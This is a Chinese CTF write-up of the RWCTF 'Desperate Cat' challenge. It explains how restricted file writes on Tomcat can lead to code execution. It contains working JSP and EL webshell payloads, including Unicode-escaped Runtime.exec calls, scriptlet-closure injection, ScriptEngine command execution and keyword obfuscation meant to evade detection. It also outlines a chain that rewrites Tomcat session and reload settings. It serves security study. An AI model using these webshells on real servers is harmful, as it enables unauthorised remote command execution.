从DesperateCat学习tomcat写文件利用方式
环境搭建
附件可以从github下载,为了方便调试,本地idea新建一个web项目,把反编译的源码复制过去
本地使用一模一样的tomcat的版本9.0.56,官网下载Index of /dist/tomcat/tomcat-9/v9.0.56 (apache.org)
源码分析
web.xml中有一个ExportServlet映射到了/export这个路由上
1 | <servlet> |
ExportServlet的代码很简单,就是接受三个参数,dir、filename、content
参数获取时都是去掉空格,并且以下字符会进行转义
1 | {"&", "<", "'", ">", "\"", "(", ")"} |
功能就是可以在一个指定目录中写文件(无法目录穿越),文件后缀可控,文件名是随机字符串
而文件的内容是脏数据 + data + 脏数据
的形式,只有中间可控
在这种严苛的文件上传条件下如何getshell呢?
可能的思路 EL webshell
Tomcat 在编译
.java
到.class
的过程中支持 unicode 编码,除去标签外,在原本的 JSP 内容中可以使用\uXXXX
格式的 Unicode 编码,并且其中的u
可以无限写多个,例如:1
2
3<%Runtime.getRuntime().exec("calc");%>
<%\uuuuuuuuuuuu0052\u0075\u006e\u0074\uuuuuuuuuuuuuuuuuuuuu0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063\u0028\u0022\u0063\u0061\u006c\u0063\u0022\u0029\u003b%>Tomcat 对其处理的 JSP/JSPX 文件及其引用或包含的如
.tag/.tagx
文件处理时支持UTF-8
、UTF-16BE
、UTF-16LE
、ISO-10646-UCS-4
、CP037
多种编码,会自动识别文件 BOM 头部进行解析,但同时可以在pageEncoding
中指定文件编码;Tomcat 支持
<%@/<jsp:directive./<jsp:scriptlet
各种各样的指令、标签解析,其中默认支持了以${
开头的 EL 表达式解析,还支持了#{
,但需要额外开启;在面对 JSPX/TAGX 文件时,其文件名代表文件为 XML 格式,在 ParserController 处理时会将
isXml
标记为 true, 并按照 XML 格式来进行解析,因此可以使用 XML 解析过程中支持的一些 tricks,例如 HTML 实体编码,CDATA 混淆等等;Tomcat 的
.tag/.tagx
文件支持动态重载,因此如果环境只对jsp
后缀内容有严格限制,可以将.tag/.tagx
文件落地在/WEB-INF/tags
文件夹下,并在 jsp 中进行调用,例如 tag 文件<%java.lang.Runtime.getRuntime().exec("open -a Calculator.app");%>
,JSP 文件<%@ taglib tagdir="/WEB-INF/tags" prefix="a"%><a:su18/>
由于 Tomcat 生成
.java
是采取“拼接方式”,因此可以使用前后闭合写法,例如如下:1
<%hack(request.getParameter("cmd"));}catch(Throwable ignored){}}public void hack(String cmd)throws Exception{javax.servlet.jsp.JspWriter out = null;javax.servlet.jsp.JspWriter _jspx_out = null;javax.servlet.jsp.PageContext _jspx_page_context=null;javax.servlet.http.HttpServletResponse response=null;try{java.lang.Runtime.getRuntime().exec(cmd);%>
题目种最为严格的限制是同时过滤了尖括号和圆括号,其实分开来看的话有许多种绕过方式
- 尖括号
<
想要不使用<% %>,可以使用Tomcat支持的EL表达式
1 | //<%Runtime.getRuntime.exec(request.getParameter("cmd"));%> |
- 圆括号
()
java 代码编译解析器会识别 Unicode 形式的编码,所可以直接unicode
1 | //<%Runtime.getRuntime().exec("calc");%> |
EL中 . 点号属性取值相当于执行对象的 getter 方法,= 赋值则等同于执行 setter 方法。
1 | ${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a} |
通过这种方式我们可以获得ClassLoader修改一些tomcat的属性,最终达到利用session写shell的目的
调用ScriptEngine来执行js
使用ScriptEngine构造webshell,获取nashorn JavaScript引擎实现命令执行
1 | <%@ page import="javax.script.ScriptEngineManager" %> |
EL + ScriptEngine
在webshell中使用反射配合动态参数传递获取ScriptEngine
1 | //test.jsp |
如果想要回显可以把上面的jsp改成js传入
1 | try { |
进一步混淆
虽然已经可以通过传递指定js脚本执行命令,但仔细来看
1 | ${''.getClass().forName(param.spr1).newInstance().getEngineByName("javascript").eval(param.spr2)} |
这段代码还是包含了一些较为敏感的关键字,譬如forName、getEngineByName、eval等,作为一个webshell来讲,显然是不够“干净整洁”的;为进一步混淆,我们可以采用动态传递的方式来替换关键字。
在EL表达式中,我们知道获取属性可以使用a.b或者a[‘b’],使用后者就意味着我们可以把所有属性和方法转化成字符串:
1 | ${""["getClass"]()["forName"]("javax.script.ScriptEngineManager")["newInstance"]()["getEngineByName"]("JavaScript")["eval"](param.js)} |
也可以动态传参执行
1 | ${""[param.a]()[param.b](param.c)[param.d]()[param.e](param.f)[param.g](param.h)} |
传参
1 | ?a=getClass&b=forName&c=javax.script.ScriptEngineManager&d=newInstance&e=getEngineByName&f=javascript&g=eval |
预期解
由于题目中对 & < ' > " ( )
符号进行了过滤,并指定写入文件编码为 UTF-8。因此直接限制了之前总结的绝大部分情况。
看了一下发现只剩下了使用 ${}
包裹的 EL 表达式可以执行,但同时还限制了不能使用 ()
。不能使用括号的情况下,就无法通过 EL 表达式调用函数。
而出题人给出的大致思路是:在不使用圆括号的情况下,通过 EL 表达式的取值、赋值特性,获取到某些关键的 Tomcat 对象实例,修改它们的属性,造成危险的影响
作者的解法的思路:
- 通过 EL 表达式修改 Session 文件存储路径,改成后缀为 jsp;
- 通过 EL 表达式向 Session 中写入数据,来让序列化后的数据中有恶意 JSP 的代码;
- 通过 EL 表达式将 Context 中的 reloadable 修改为 true;
- 使用任意文件上传,上传一个后缀为 jar 的文件至
/WEB-INF/lib/
下,触发 reload,将恶意数据写入; - 通过 web 应用访问恶意 JSP。
写入el表达式
1 | ${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a} |
访问jsp给环境变量赋值后,上传一个jar到WEB-INF/lib目录下即可触发reload
非预期 上传ASCII Jar
Reference
RWCTF 4th Desperate Cat Writeup - 知乎 (zhihu.com)
https://blog.csdn.net/weixin_43610673/article/details/122865638
奇安信攻防社区-从DesperateCat到EL webshell初探 (butian.net)
RWCTF 4th Desperate Cat ASCII Jar Writeup | 回忆飘如雪 (gv7.me)
(278条消息) 从DesperateCat学到的Tomcat下的新利用思路_desperate cat_Y4tacker的博客-CSDN博客